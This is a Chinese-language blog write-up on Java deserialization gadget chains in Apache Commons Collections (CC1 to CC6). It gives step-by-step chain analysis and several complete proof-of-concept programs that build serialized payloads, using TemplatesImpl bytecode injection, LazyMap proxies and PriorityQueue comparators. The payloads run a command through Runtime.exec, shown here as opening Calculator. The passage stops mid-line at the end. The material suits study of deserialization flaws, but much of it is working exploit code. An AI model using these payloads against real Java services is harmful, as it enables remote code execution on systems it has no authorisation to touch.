最终版本PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public class CommonsCollections1_LazyMap_Exploit { public static void main (String[] args) throws Exception { Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"}) }; Transformer chain = new ChainedTransformer(transformers_exec); HashMap innerMap = new HashMap(); innerMap.put("value" ,"abcd" ); Map lazyMap = LazyMap.decorate(innerMap,chain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor cons = clazz.getDeclaredConstructor(Class.class ,Map .class ) ; cons.setAccessible(true ); InvocationHandler h1 = (InvocationHandler) cons.newInstance(Target.class ,lazyMap ) ; Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class .getClassLoader (),LazyMap .class .getInterfaces (), h1 ) ; InvocationHandler h2 = (InvocationHandler)cons.newInstance(Target.class , mapProxy ) ; ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc1_LazyMap.ser" ))); fout.writeObject(h2); ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc1_LazyMap.ser" ))); fin.readObject(); } }
cc2 条件:
commons-collections4: 4.0
jdk1.7 1.8低版本
maven:
1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency > </dependencies >
预备知识:
javassist
JVM类加载机制
利用链寻找 第一件事依然是寻找readObject复写点,这次盯上的是jdk的PriorityQueue :
PriorityQueue 优先级队列是基于优先级堆的一种特殊队列 , 它满足队列 “ 队尾进 , 队头出 “ 的特点
队列中每次插入或删除元素时 , 都会调用 Comparator 方法对队列进行调整
缺省情况下 , 优先级队列会根据自然顺序对元素进行排序 , 形成一个最小堆( 父节点的键值总是小于或等于任何一个子节点的键值 ) . 当指定了Comparator后 , 优先级队列会根据Comparator的定义对元素进行排序.
梳理了一下PriorityQueue类的流程:
可以看到queue和comparator都是进行了可控性的传递。
那这里我们继续寻找哪些实现了Comparator接口的类拥有compare方法,目标锁定到TransformingComparator :
哦这熟悉的transformer.transform 可控!
但是他并不像ChainedTransformer一样是成环transform,仅仅调用了一次Comparator.compare。
最终版本PoC 这里完全可以借助这一点,写一版PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public class CommonsCollections2_TransformingComparator_Exploit { public static void main (String[] args) throws Exception { Transformer[] raw_payload = new Transformer[]{ new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[]{} }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[]{} }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open /Applications/Calculator.app"})}; ChainedTransformer chain = new ChainedTransformer(raw_payload); TransformingComparator comparator = new TransformingComparator(chain); PriorityQueue queue = new PriorityQueue(2 ); queue.add(1 ); queue.add(2 ); Field field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" ); field.setAccessible(true ); field.set(queue,comparator); try { ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc2_TransformingComparator.ser" ))); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc2_TransformingComparator.ser" ))); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } }
细节
为什么put了两个值:
因为在heapify方法实现如下:
这里只有size>1才能进入循环。
add做了什么事?
两次add做了什么事,这里要force-step(红色的小箭头)进入
调用梳理如下:
1 add() -> offer() -(第二次才会)-> siftUp() -> siftUpComparable()
第二次:
由于我们没有设置comparator,所以会进入else分支:
siftUpComparable方法只是把元素放到队列里,并没有做什么事:
为什么还反射来构造函数来修改值?
因为为了可以满足赋值,需要让comparator属性为null,才能继续走:
当我们再次反射,是为了可以在之后的readObject里面使用comparator属性来调用compare方法,我们需要给他赋值恶意chain。
流程梳理
payload:PriorityQueue(2,TransformingComparator(transformer = chain))
对于PriorityQueue来说,他的comparator就是TransformingComparator(transformer = chain)这一串东西。
首先肯定是进入PriorityQueue的readObject方法,一路走。
之后重点在PriorityQueue的siftDown方法中,会校验comparator是否为null,显然不是,进入siftDownUsingComparator方法。
之后在siftDownUsingComparator进行了comparator.compare,下图显示
由于comparator是TransformingComparator类对象,所以进入TransformingComparator的compare方法
这时TransformingComparator对象的this.transformer属性就是chain,chain.transform成环调用,触发。
第一个transform就会触发。
TemplatesImpl版本 ysoserial用的是这个版本
之前提到过,TransformingComparator的compare内部并不像ChainedTransformer的transform一样是成环transform。
ysoserial把目光聚焦在了TemplatesImpl里面
TemplatesImpl位于rt.jar下的sun包里面,源码分析:
TemplatesImpl这个类有两个属性:
_bytecodes:byte[] 字节码的字节数组
_class: Class[] 根据 _bytecode 生成的Class对象
可以看到:
getTransletInstance
defineTransletClasses
我们都知道静态代码块可以在类加载的同时执行,所以我们只要生成一个类,这个类的静态代码块里执行恶意命令。
所以这里我们就要找,哪里可以调用getTransletInstance方法,
发现在本类的newTransformer里面调用了getTransletInstance:
那哪里调用了newTransformer方法呢?发现在getoutputProperties里调用了:
这部分有点乱画个调用图:
所以到目前为止,我们的收获:
PriorityQueue的readObject可以走到Comparator接口的compare方法
TransformingComparator是Comparator的实现类,TransformingComparator的transform方法会调用Tranformer接口的transform函数
另一方面,TransformerImpl的newTransformer的一系列操作可以将_bytecode数组里面的内容加载进虚拟机,获得一个AbstractTranslet类的对象
创建这个对象的时候,Class类对象里的静态代码块必将被执行
所以现在的问题就是,如何将一个实现了Tranformer接口的类,他的transform方法和TransformerImpl的newTransformer结合到一起。
纽带 我们发现TransformingComparator的构造函数可以将Transformer类放入自身transformer 类属性:
隐隐约约感觉能连上!
ysoserial的思路是将恶意操作放在一个类的静态代码块中,将这个类的bytecode传递给某个可控参数,最终传递给invoke函数命令执行。
开始构造PoC:
构造流程:
首先我们要有一个PriorityQueue对象pq在最外面,作为readObject的入口
javassist生成一个恶意类,它的静态代码块中有恶意命令,获得这个恶意类的字节数组
拿到之后如何传递到链中,我们的payload说到底是一个static代码块,最理想的情况就是它被newInstance了,那我们就要找哪些方法可以做到,等等,好像不需要再找了,因为前文提到的TemplatesImpl的_bytecode数组内容在TemplatesImpl的getTransletInstance方法中被defineClass了
那么,现在问题就来到哪些类可以调用getTransletInstance方法呢?发现正巧的是TemplatesImpl自己的newTransformer就可以调用
所以现在就来到哪里可以调用newTransformer方法,发现没有,但是我们降维武器反射,这里需要用InvokeTransformer[]来包装一下“newTransformer”
现在还需要一个TemplatesImpl对象tmpl来帮我们做纽带,并且将这个对象的bytecode属性设置为恶意类,还要保证属性name不为null
tmpl现在的bytecode属性内容就是恶意类,所以调用tmpl的newTransformer方法就可以了!
一些细节
为什么恶意类要继承AbstractTranslet?
因为TemplatesImpl的defineTransletClasses方法中有个判断,如果当前恶意类的父类不是AbstractTranslet的话,_tranletIndecx
的值就是初始值-1。但是对于我们,class[0]就是我们的恶意类的Class对象,后续的newInstance离不开它,所以我们当然希望_tranletIndex
的值就是0。
为什么_tranletIndex
的值一定要是0呢???因为我们可以看到在TemplatesImpl的getTransletInstance中:
_transletIndex
决定了_class
数组的检索位置。
为什么_name
和_class
属性要为null?
因为在getTransletClasses中,只有满足这两个方法,才能进入defineTransletClasses:
为什么要改size
的值?
因为在heapify()中:
PriorityQueue的size属性默认是0,在这就会断掉。
为什么不能直接给PriorityQueue的queue属性去赋值?非要用反射?
queue的值其实会在compare中当作参数,所以一定要有值。
不能直接赋值是因为:
抛开queue属性是private transient Object[] queue;
queue属性以及其长度都是初始化时候得到的
好的现在如果是queue.add()的话:
只改一个地方:
(其实这里面只add一次tmpl也是可以的)
第一次是2,他会先进行一个自动装箱,变成new Integer(2),因为PriorityQueue接受Obejct泛型。
第一次由于size是初始值0,所以只是老实的进入queue[0],size变成1
第二次由于是i=size,目前size是1,会进入siftUp函数
然后进入siftUpUsingComparator:
这里多说几句,可以看到k,x两个参数1和tmpl
parent是0,e=queue[1]也就是Integer(1)
接下来会进入comparator的compare方法;
来到第一个tranform:
仔细看的话可以看出来obj1是上面siftUpUsingComparator函数的第二个函数x也就是Tmpl,obj2是上面的e,就是第一次传进去的值2
这里就会提前触发调用链,利用失败。
多说一句,就算绕过这里,在第三行this.decorated.compare语句又会走向哪里?
我们当前传进来的comparator采用的是第一个构造函数,只有一个InvokerTransformer[]
这里面第二个参数是什么?
再点进去发现是包装类的compareTo方法:
那就没事了。
现在可以回答这个问题了,因为会提前触发利用链 ,并且value1和value2的分别是两次transform的值,如果类型相同,是会走到这里的。
第一个传进去的tmpl在哪里用到了?
跟一遍,会发现在compare这里传进去了,给了transform:
细心的你会发现,PriorityQueue的queue这个属性是transient的,为什么还能序列化成功?
queue本身作为transient属性,讲道理是不能写入到序列化的二进制文件中的。
是因为在PriorityQueue的writeObject方法中:
他先拿到流,然后把queue的内容循环的写入到流中,这样就被保存了下来。
最终版本PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 public class TemplatesImpl_Exploit { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class )) ; CtClass tempExploitClass = pool.makeClass("3xpl01t" ); tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class .getName ())) ; String cmd = "java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");" ; tempExploitClass.makeClassInitializer().insertBefore(cmd); byte [] exploitBytes = tempExploitClass.toBytecode(); TemplatesImpl tmpl = new TemplatesImpl(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true ); bytecodes.set(tmpl, new byte [][]{exploitBytes}); Field _name = TemplatesImpl.class.getDeclaredField("_name"); _name.setAccessible(true ); _name.set(tmpl, "0range" ); Field _class = TemplatesImpl.class.getDeclaredField("_class"); _class.setAccessible(true ); _class.set(tmpl, null ); InvokerTransformer iInvokerTransformer = new InvokerTransformer("newTransformer" , new Class[]{}, new Object[]{}); TransformingComparator iTransformingComparator = new TransformingComparator(iInvokerTransformer); PriorityQueue pq = new PriorityQueue(2 ); Object[] queueArray = new Object[]{tmpl, 2 }; Field _comparator = PriorityQueue.class.getDeclaredField("comparator"); _comparator.setAccessible(true ); _comparator.set(pq, iTransformingComparator); Field _queue = PriorityQueue.class.getDeclaredField("queue"); _queue.setAccessible(true ); _queue.set(pq, queueArray); Field _size = Class.forName("java.util.PriorityQueue" ).getDeclaredField("size" ); _size.setAccessible(true ); _size.set(pq, 2 ); try { ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir" ) + "/src/main/resources/Payload_cc2_TemplatesImpl.ser" ))); outputStream.writeObject(pq); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir" ) + "/src/main/resources/Payload_cc2_TemplatesImpl.ser" ))); inputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
cc3 条件:
commons-collections: 3.1~3.2.1
jdk7u21之前
cc3更像是cc1和cc2的缝合变体,借助了cc1的lazyMap+动态代理和cc2的newInstance。
利用链寻找 如果我们先从后半段开始看,和cc2一样,我们的目标是执行TemplatesImpl的newTransformer方法来newInstance
cc2中我们知道,newTransformer方法属于TemplatesImpl类,更是Templates接口的方法,
我们需要寻找哪里调用了Templates.newTransformer方法
搜索一圈发现TrAXFilter这个类比较合适:
跟进去看,发现构造函数依赖Templates接口的参数,会调用参数的newTransformer方法:
所以现在,我们需要构造这个参数templates
或者new 一个TrAXFilter类的实例 也是可以的啊!ysoserial选择了后者
怎样可以new一个实例呢?
ysoserial找到了InstantiateTransformer,看看他的transform方法:
可以看到,这里面调用了input参数的调用方法,然后借助iParamTypes和iArgs实例化了一个对象出来。
我们还记得cc1中的Chain可以循环调用transform方法,我们让input是TrAXFilter类对象不就可以了么
所以这里还是得用到chain
有了chain,问题来到了哪里会调用chain的入口点呢也就是chain的第一个transform方法?
记得cc1的LazyMap么?他的get方法会调用transform,如果这里是chain不就美滋滋了么
哪里可以调用lazyMap的get方法呢?
或许你还记得cc1的InvocationHandler的invoke会调用get方法:
稳,现在就是怎么让memberValues参数是LazyMap类型呢?
降维打击,动态代理
我认为这里的思路一定是ysoserial的师傅们看到了AnnotationInvocationHandler既然是InvocationHandler的子类才想到。
假设现在有一个AnnotationInvocationHandler的类H
我们都知道,H要是想执行invoke方法,一定是H作为handler参与了一个动态代理类的实现 。
我们假设上一句话提到的“一个动态代理类”是p,p调用了任何方法,都会交付给H的invoke去做。
同时我们还发现AnnotationInvocationHandler的readObject方法
他可以对Map类型的属性memberValues执行entrySet方法
这里其实entrySet或者什么别的其实都不重要,重要的是发生了调用
所以这里如果this,memberValues是一个LazyMap的代理类,那么这个代理类的handler的invoke方法就必将会执行。
所以我们上文提到的p,作为代理类,完全可以代理LazyMap类,handler配置为H就可以了
那么现在就是确定了我们的payload最外面是AnnotationInvocationHandler类,起名h2,我们要把h2.memberValues配置为一个动态代理,这里可以起名为mapProxy。
mapProxy目标是为了存放在h2.memberValues里,为了invoke。
mapProxy的handler位置需要设置为h1,这个h1也是AnnotationInvocationHandler类,h1.memberValues需要设置为LazyMap,为了LazyMap.get。
所以正常走下来就是:
1 h2.readObject() -> h2.memberValues.xxx() -> mapproxy.xxx() -> h1.invoke() -> h1.memberValues.get() -> LazyMap.get()
成功续命。
调用链流程梳理 正常进入AnnotationInvocationHandler的readObject方法,h2的memberValues属性就是mapProxy
这里由于mapProxy是动态代理,所以只要调用就会调用handler的invoke方法,mapProxy的handler就是h1
h1也是AnnotationInvocationHandler类,所以会进入本类AnnotationInvocationHandler的invoke方法:
由于h1的memberValues属性是传进去的lazymap,所以会调用LazyMap的get方法:
factory是chain,会进入chain的transform,接下里就很熟悉了:
成环调用,chain中第一个是元素是new ConstantTransformer(TrAXFilter.class),
所以看上面,第一个循环的object返回的就是TrAXFilter的类对象(get(key)参数被无情抛弃),重点是第二次,会进入InstantiateTransformer的transform方法:
这里面细说,input参数是第一次object对象也就是TrAXFilter.class类对象,iParamTypes属性就是外面构造好的Templates.class类对象,iArgs属性就是提前传进来的tmpl对象。
con方法是TrAXFilter类中,满足只有一个Templates接口参数的构造函数。
tmpl是TemplatesImpl类,会调用Templates接口的newInstance方法,参数是iArgs也就是tmpl。
所以这里会走到TrAXFilter类的构造函数:
导致触发!
最终版本PoC PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 public class TrAXFilter_Exploit { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class )) ; CtClass tempExploitClass = pool.makeClass("3xpl01t" ); tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class .getName ())) ; String cmd = "java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");" ; tempExploitClass.makeClassInitializer().insertBefore(cmd); byte [] exploitBytes = tempExploitClass.toBytecode(); TemplatesImpl tmpl = new TemplatesImpl(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true ); bytecodes.set(tmpl, new byte [][]{exploitBytes}); Field _name = TemplatesImpl.class.getDeclaredField("_name"); _name.setAccessible(true ); _name.set(tmpl, "0range" ); Field _class = TemplatesImpl.class.getDeclaredField("_class"); _class.setAccessible(true ); _class.set(tmpl, null ); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class ), new InstantiateTransformer ( new Class[]{Templates.class}, new Object[]{tmpl} ) }; ChainedTransformer chain = new ChainedTransformer(transformers); HashMap innermap = new HashMap(); LazyMap lazymap = (LazyMap)LazyMap.decorate(innermap,chain); final Constructor cons = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class , Map .class ) ; cons.setAccessible(true ); InvocationHandler h1 = (InvocationHandler) cons.newInstance(Target.class ,lazymap ) ; Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class .getClassLoader (),LazyMap .class .getInterfaces (),h1 ) ; InvocationHandler h2 = (InvocationHandler)cons.newInstance(Target.class , mapProxy ) ; ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc3_TrAXFilter.ser" ))); fout.writeObject(h2); ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc3_TrAXFilter.ser" ))); fin.readObject(); } }
cc4 环境:
commons-collections4: 4.0
jdk7u21 之前
cc4是cc2和cc3的杂交体
前半段用了cc2的PriorityQueue以及TransformingComparator,TransformingComparator本来应该调用InvokeTransformer的transform方法的,但是因为InvokeTransformer被ban掉了,所以这里ysoserial用了cc3的chain,里面用的是InstantiateTransformer,用了InstantiateTransformer就必须要进行类实例的构造,也就和cc3后面一样了,也用了TrAXFilter来包装TemplatesImpl。
利用链构造 cc2里面的前半部分可以一直走到TransformingComparator的transform方法:
在cc2里面,这里面的this.transformer
是InvokerTransformer,但是在cc4里,我们需要换成chain来包装InstantiateTransformer,也就离不开后续TrAXFilter的newInstance了。
最终版本PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class )) ; CtClass tempExploitClass = pool.makeClass("3xpl01t" ); tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class .getName ())) ; String cmd = "java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");" ; tempExploitClass.makeClassInitializer().insertBefore(cmd); byte [] exploitBytes = tempExploitClass.toBytecode(); TemplatesImpl tmpl = new TemplatesImpl(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true ); bytecodes.set(tmpl, new byte [][]{exploitBytes}); Field _name = TemplatesImpl.class.getDeclaredField("_name"); _name.setAccessible(true ); _name.set(tmpl, "0range" ); Field _class = TemplatesImpl.class.getDeclaredField("_class"); _class.setAccessible(true ); _class.set(tmpl, null ); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class ), new InstantiateTransformer ( new Class[]{Templates.class}, new Object[]{tmpl} ) }; ChainedTransformer chain = new ChainedTransformer(transformers); TransformingComparator iTransComparator = new TransformingComparator(chain); PriorityQueue pq = new PriorityQueue(2 ); Object[] queueArray = new Object[]{tmpl, 2 }; Field _comparator = PriorityQueue.class.getDeclaredField("comparator"); _comparator.setAccessible(true ); _comparator.set(pq, iTransComparator); Field _queue = PriorityQueue.class.getDeclaredField("queue"); _queue.setAccessible(true ); _queue.set(pq, queueArray); Field _size = Class.forName("java.util.PriorityQueue" ).getDeclaredField("size" ); _size.setAccessible(true ); _size.set(pq, 2 ); try { ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir" ) + "/src/main/resources/Payload_cc4_PriorityQueue.ser" ))); outputStream.writeObject(pq); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir" ) + "/src/main/resources/Payload_cc4_PriorityQueue.ser" ))); inputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } }
这里面在PriorityQueue处还可以有第二种写法:
1 2 3 4 5 6 7 8 9 PriorityQueue pq = new PriorityQueue(2 ); pq.add(1 ); pq.add(1 ); Field _comparator = PriorityQueue.class.getDeclaredField("comparator"); _comparator.setAccessible(true ); _comparator.set(pq, iTransComparator);
第二种为什么只提前add了两下就可以了呢?
debug一下,看第一次add:
size默认是0,所以这里属性queue[]已经赋值了第一个元素Integer(1),size也被复制为1
第二次add:
进到siftUp看一下,我们没有给comparator赋值,所以会进入else分支:
siftUpComparator会将元素重新排序:
两次add结束之后的状态:
接下来解封comparator属性,包我们构造好的TransformingComparator借助反射赋值给它:
最终属性:
话说回来,要是第一种,没有提前add两次赋值呢?
简短来说,那就是size和parator都没有赋值,只能再麻烦用反射去给size和queue赋值。
cc5 条件:
利用链寻找 因为jdk在1.8之后对AnnotationInvocationHandler类做了限制,所以在jdk1.8版本就必须找出能替代AnnotationInvocationHandler的新的可以利用的类,所以TiedMapEntry和BadAttributeValueExpException就被挖掘了出来。
先看cc中的TiedMapEntry的源码:
这里的map属性显然是可控的。
如果是我们熟悉的LazyMap就好了,这样就可以调用LazyMap.get方法进而触发Transformer的transform函数,执行调用链。
哪里可以调用TiedMapEntry的getValue呢?
TiedMapEntry的toString方法就可以
那么有没有一个类可以在反序列化时触发 TiedMapEntry.toString() 呢? BadAttributeValueExpException
这里可以看到valObj也是从val属性拿到的,我们只要构造的时候把val属性设置为TiedMapEntry即可。
val是private,所以这里还是得用反射去构造。
最终版本PoC ver1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public class BadAttributeValueExpException_Exploit { public static void main (String[] args) throws Exception { Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"}) }; Transformer chain = new ChainedTransformer(transformers_exec); HashMap innerMap = new HashMap(); innerMap.put("value" ,"abcd" ); Map lazyMap = LazyMap.decorate(innerMap,chain); TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123 ); BadAttributeValueExpException payload = new BadAttributeValueExpException(1 ); Field val = BadAttributeValueExpException.class.getDeclaredField("val"); val.setAccessible(true ); val.set(payload,tmap); ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc5_BadAttributeValueExpException.ser" ))); fout.writeObject(payload); ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc5_BadAttributeValueExpException.ser" ))); fin.readObject(); } }
慢点,这里既然提到了chain,我们可以模仿cc3来用InstantiateTransformer参与chain的构造,还有TrAXFilter:
ver2 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 public class InstantiateTransformer_Exploit { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class )) ; CtClass tempExploitClass = pool.makeClass("3xpl01t" ); tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class .getName ())) ; String cmd = "java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");" ; tempExploitClass.makeClassInitializer().insertBefore(cmd); byte [] exploitBytes = tempExploitClass.toBytecode(); TemplatesImpl tmpl = new TemplatesImpl(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true ); bytecodes.set(tmpl, new byte [][]{exploitBytes}); Field _name = TemplatesImpl.class.getDeclaredField("_name"); _name.setAccessible(true ); _name.set(tmpl, "0range" ); Field _class = TemplatesImpl.class.getDeclaredField("_class"); _class.setAccessible(true ); _class.set(tmpl, null ); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class ), new InstantiateTransformer ( new Class[]{Templates.class}, new Object[]{tmpl} ) }; ChainedTransformer chain = new ChainedTransformer(transformers); HashMap innermap = new HashMap(); LazyMap lazymap = (LazyMap)LazyMap.decorate(innermap,chain); TiedMapEntry tmap = new TiedMapEntry(lazymap, 123 ); BadAttributeValueExpException payload = new BadAttributeValueExpException(null ); Field val = BadAttributeValueExpException.class.getDeclaredField("val"); val.setAccessible(true ); val.set(payload,tmap); ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc5_InstantiateTransformer.ser" ))); fout.writeObject(payload); ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc5_InstantiateTransformer.ser" ))); fin.readObject(); } }
等一下,既然可以用TemplatesImpl,那么我们在cc2的TemplatesImpl版本中发现,TemplatesImpl的newTransformer会将自身的_bytecodes直接数组生成类对象,执行对象构造函数。
我们发现在TiedMapEntry的getValue中会将key参数传入,之后transform也会将key传递,所以这里我们还可以将tmpl传入TiedMapEntry的key属性,在最后也会被执行到。
ver3 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 public class TemplatesImpl_Exploit { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class )) ; CtClass tempExploitClass = pool.makeClass("3xpl01t" ); tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class .getName ())) ; String cmd = "java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");" ; tempExploitClass.makeClassInitializer().insertBefore(cmd); byte [] exploitBytes = tempExploitClass.toBytecode(); TemplatesImpl tmpl = new TemplatesImpl(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true ); bytecodes.set(tmpl, new byte [][]{exploitBytes}); Field _name = TemplatesImpl.class.getDeclaredField("_name"); _name.setAccessible(true ); _name.set(tmpl, "0range" ); Field _class = TemplatesImpl.class.getDeclaredField("_class"); _class.setAccessible(true ); _class.set(tmpl, null ); InvokerTransformer iInvokerTransformer = new InvokerTransformer("newTransformer" , new Class[]{}, new Object[]{}); HashMap innermap = new HashMap(); LazyMap lazymap = (LazyMap)LazyMap.decorate(innermap,iInvokerTransformer); TiedMapEntry tmap = new TiedMapEntry(lazymap, tmpl); BadAttributeValueExpException payload = new BadAttributeValueExpException(null ); Field val = BadAttributeValueExpException.class.getDeclaredField("val"); val.setAccessible(true ); val.set(payload,tmap); ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc5_TemplatesImpl.ser" ))); fout.writeObject(payload); ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc5_TemplatesImpl.ser" ))); fin.readObject(); } }
cc6 条件:
利用链寻找 CC5 用了 BadAttributeValueExpException 反序列化去触发 LazyMap.get(),除了 BadAttributeValueExpException 、AnnotationInvocationHandler 还有其他方法吗? ysoserial告诉我们HashMap也可以!
我们再看看TiedMapEntry的内部方法hashCode:
这里也调用了getValue!
如何反序列化时触发 TiedMapEntry.hashCode() ?
ysoserial发现了HashMap的readObject方法:
调用了k.hashCode。
所以很容易想当然地构造出来一版PoC:
但是你会发现,在put操作处就会触发payload了,根本不是在readObject里面 。
跟进去看看,这里面直接就触发了利用链,所以我们希望利用链触发在readObejct的位置。
如果想在readObject位置触发,跟几步发现,需要在LazyMap的get方法中让下面这个判断成立,才能进入transform:
这里面的map就是LazyMap,key就是123
我们当然希望返回值是false
继续跟进LazyMap的containsKey:
希望getEntry(key)==null
继续跟进getEntry,这里面的key是123:
这里可以看到,先有一个key是否为null的判断,123不为null所以执行了hash(key)
table是什么呢?
当我们第一次:
1 2 HashMap hashMap = new HashMap(); hashMap.put(tmap, "test" );
虽然我们调用的是无参构造方法,但是这里会给我们安排到有参构造方法。
DEFAULT_INITIAL_CAPACITY = 16
进入有参构造方法:
这个table属于最外面的hashMap,他的长度为16
继续跟进到TiedMapEntry的get方法:
这里面的map是LazyMap类的对象,也就是我们传进去的lazyMap
继续跟,来到LazyMap的get方法:
这里面的map是我们传进去的innermap,也就是hashmap类型
跟进去看,
这里可以看到,先有一个key是否为null的判断,123不为null所以执行了hash(key)
所以这里e为null,返回null。成功会在put触发。
但是不要忘了put之后的状态:
lazymap.map就被放入了一个key,key的entry。
假如说这时候我们再通过HashMap的readObject方法来到LazyMap的get方法这里,当再次经过这次判断的时候,因为map里已经存放了entry<“123”,“123”>,那么就不再会是false,导致无法进入transform方法,利用链断掉。
所以我们需要把map的内容改掉:
两种方法都行:
1 2 lazyMap.remove(123 ); lazyMap.clear(
我们可以改写一下,将lazyMap中hashmap的put之后的key去掉,这样就可以先执行,然后在反序列化时候再执行一遍:
